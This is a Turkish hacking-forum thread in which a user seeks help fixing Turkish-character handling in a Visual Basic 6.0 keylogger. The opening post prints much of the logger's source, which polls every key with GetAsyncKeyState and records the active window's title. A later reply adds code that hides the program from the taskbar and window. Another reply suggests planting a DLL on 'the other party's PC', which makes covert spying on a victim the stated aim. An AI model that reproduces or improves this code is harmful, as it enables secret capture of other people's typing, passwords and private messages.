THT DUYURU
THT Yardım Merkezi THT Yardım Merkezi bölümünden; teknoloji ve bilişim ile ilgili her konu için yardım isteyebilirsiniz.

Seçenekler

Visual Basic 6.0 Keylogger Türkçe Karakter Sorunu

sagoenes - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
01/2010
Mesajlar:
43
Konular:
3
Teşekkür (Etti):
5
Teşekkür (Aldı):
2
Ticaret:
(0) %
12
2061
10-11-2012 14:50
#1
Merhaba Arkadaşlar Keylogger Yapıyorum Visual Basic 6.0 da fakat TÜRKÇE karakterlerde "ı" harfini "i" olarak alıyor bunu düzelmem gerek ve "*" karakterini hiç kodlamıyor nasıl düzeltebilirim yardımlarınızı bekliyorum şimdiden teşekkürler.

Kod:
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"

ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"

ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"


ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"

ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & "<br>" & WindowText & "<br>" & "==============================" & "<br>"
LastWindow = WindowText
End If
End Function

Private Sub Timer1_Timer()

'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If

'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If

End If
Next

'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If

End If
Next


';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next


'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next

'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If

Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If

'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & "<br>"
End If

'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & "[BACKSPACE]"
End If

'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If

'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If
--------------------- SiriusLogger Basic Edition v1.0.1 ÇIKTI !!
KillerHq - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
10/2012
Mesajlar:
35
Konular:
3
Teşekkür (Etti):
4
Teşekkür (Aldı):
3
Ticaret:
(0) %
12-11-2012 18:51
#2
farklı kodlama yap tabi çok uğraşmışsındır amabaşka bişe gelmiyo aklıma
--------------------- Siz Yatağınızda Kızları Düşünürken Biz Klavyelerimizle Savaştaydık
ahmet2356532 - ait Kullanıcı Resmi (Avatar)
Katılımcı Üye
Üyelik tarihi:
11/2009
Nereden:
Konya
Mesajlar:
492
Konular:
38
Teşekkür (Etti):
65
Teşekkür (Aldı):
56
Ticaret:
(0) %
12-11-2012 20:17
#3
Arkadasım Dll Yazarak Yapabilirsin Bunu Karsı Tarafın Pcye Dehlare Edersin dllyi Türkce sorunu Ortadan Kalkar Biraz Kafanı Calıstır .) Basit Bişey
--------------------- [CENTER][COLOR=Lime]Çevrem genis diyenlere küçük bir not;

10 tane 10 kurus da 1 lira eder,

2 tane 50 kuruş da..
Optimist® - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
01/2012
Nereden:
İstanbul
Mesajlar:
1.751
Konular:
204
Teşekkür (Etti):
33
Teşekkür (Aldı):
521
Ticaret:
(0) %
12-11-2012 20:21
#4
Taşınmıştır.
sagoenes - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
01/2010
Mesajlar:
43
Konular:
3
Teşekkür (Etti):
5
Teşekkür (Aldı):
2
Ticaret:
(0) %
13-11-2012 20:37
#5
yorumlarınız için teşekkürler ama dll yazmasını bilmiyorum başka türlü nasıl yapabilirim ? veya başka bi keylogger tuş kodu varmı
--------------------- SiriusLogger Basic Edition v1.0.1 ÇIKTI !!
Sizsiz1 - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
09/2012
Nereden:
Win32
Mesajlar:
2.025
Konular:
151
Teşekkür (Etti):
7
Teşekkür (Aldı):
242
Ticaret:
(0) %
13-11-2012 20:49
#6
ChangeChr(222) = "i" ekle karakterler bölümüne "i"yi alcakmı bak almazsa almadı yaz
sagoenes - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
01/2010
Mesajlar:
43
Konular:
3
Teşekkür (Etti):
5
Teşekkür (Aldı):
2
Ticaret:
(0) %
13-11-2012 21:03
#7
o yazılı zaten "i" yi alıyor tek sorun "ı" ya bastığım zaman yine "i" olarak alıyor
--------------------- SiriusLogger Basic Edition v1.0.1 ÇIKTI !!
Sizsiz1 - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
09/2012
Nereden:
Win32
Mesajlar:
2.025
Konular:
151
Teşekkür (Etti):
7
Teşekkür (Aldı):
242
Ticaret:
(0) %
13-11-2012 21:07
#8
he tmm
Sizsiz1 - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
09/2012
Nereden:
Win32
Mesajlar:
2.025
Konular:
151
Teşekkür (Etti):
7
Teşekkür (Aldı):
242
Ticaret:
(0) %
13-11-2012 21:09
#9
bak mbkm olcakmı

[CODE]App.TaskVisible = False
On Error Resume Next
Me.Hide

ChangeChr(33) = vbCrLf & "[PageUp]" & vbCrLf
ChangeChr(34) = vbCrLf & "[PageDown]" & vbCrLf
ChangeChr(35) = vbCrLf & "[End]" & vbCrLf
ChangeChr(36) = vbCrLf & "[Home]" & vbCrLf

ChangeChr(45) = vbCrLf & "[Insert]" & vbCrLf
ChangeChr(46) = vbCrLf & "[Delete]" & vbCrLf

ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"

ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"

ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"


ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"

ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub[CODE]
Sizsiz1 - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
09/2012
Nereden:
Win32
Mesajlar:
2.025
Konular:
151
Teşekkür (Etti):
7
Teşekkür (Aldı):
242
Ticaret:
(0) %
13-11-2012 21:11
#10
oda olmadı "ı"nın sayısal değerini bulcan işim olmasa bulurdum

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler